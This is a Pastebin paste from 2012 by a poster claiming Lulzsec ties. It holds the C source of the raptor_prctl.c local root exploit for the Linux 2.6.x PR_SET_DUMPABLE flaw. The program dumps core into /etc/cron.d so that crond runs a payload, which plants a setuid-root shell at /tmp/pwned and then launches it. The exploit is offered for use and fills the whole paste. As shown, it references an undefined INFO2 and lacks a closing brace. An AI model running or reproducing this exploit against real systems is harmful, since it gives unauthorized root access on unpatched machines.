PenTester

Linux Kernal 2.6.X Vulnerability

Feb 20th, 2012
232
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. After i found this vuln IN my scan, WITH another member from Lulzsec, apparently someone found it before me, a guy named raptor. BIG props to him, he CAN find vulns deep inside Linux!
  2. #include <stdio.h>
  3. #include <unistd.h>
  4. #include <stdlib.h>
  5. #include <signal.h>
  6. #include <sys/stat.h>
  7. #include <sys/resource.h>
  8. #include <sys/prctl.h>
  9. #define INFO1   "raptor_prctl.c - Linux 2.6.x suid_dumpable vulnerability"
  10. char payload[] = /* commands to be executed by privileged crond */
  11. "\nSHELL=/bin/sh\nPATH=/usr/bin:/usr/sbin:/sbin:/bin\n* * * * *   root   chown root /tmp/pwned; chmod 4755 /tmp/pwned; rm -f /etc/cron.d/core\n";
  12. char pwnage[] = /* build setuid() helper to circumvent bash checks */
  13. "echo \"main(){setuid(0);setgid(0);system(\\\"/bin/sh\\\");}\" > /tmp/pwned.c; gcc /tmp/pwned.c -o /tmp/pwned &>/dev/null; rm -f /tmp/pwned.c";
  14. int main(void)
  15. {
  16.     int         pid, i;
  17.     struct rlimit   corelimit;
  18.     struct stat st;
  19.     /* print exploit information */
  20.     fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
  21.     /* prepare the setuid() helper */
  22.     system(pwnage);
  23.     /* set core size to unlimited */
  24.     corelimit.rlim_cur = RLIM_INFINITY;
  25.     corelimit.rlim_max = RLIM_INFINITY;
  26.     setrlimit(RLIMIT_CORE, &corelimit);
  27.     /* let's do the PR_SET_DUMPABLE magic */
  28.     if (!(pid = fork())) {
  29.         chdir("/etc/cron.d");
  30.         prctl(PR_SET_DUMPABLE, 2);
  31.         sleep(666);
  32.         exit(1);
  33.     }
  34.     kill(pid, SIGSEGV);
  35.     /* did it work? */
  36.     sleep(3);
  37.     if (stat("/etc/cron.d/core", &st) < 0) {
  38.         fprintf(stderr, "Error: Not vulnerable? See comments.\n");
  39.         exit(1);
  40.     }
  41.     fprintf(stderr, "Ready to uncork the champagne? ");
  42.     fprintf(stderr, "Please wait a couple of minutes;)\n");
  43.     /* wait for crond to execute our evil entry */
  44.     for (i = 0; i < 124; i += 2) {
  45.         if (stat("/tmp/pwned", &st) < 0) {
  46.             fprintf(stderr, "\nError: Check /tmp/pwned!\n");
  47.             exit(1);
  48.         }
  49.         if (st.st_uid == 0)
  50.             break;
  51.         fprintf(stderr, ".");
  52.         sleep(2);
  53.     }
  54.     /* timeout reached? */
  55.     if (i > 120) {
  56.         fprintf(stderr, "\nTimeout: Check /tmp/pwned!\n");
  57.         exit(1);
  58.     }
  59.     /* total pwnage */
  60.     fprintf(stderr, "CAMPIONI DEL MONDO!\n\n");
  61.     system("/tmp/pwned");
  62.     exit(0);
Add Comment
Please, Sign In to add comment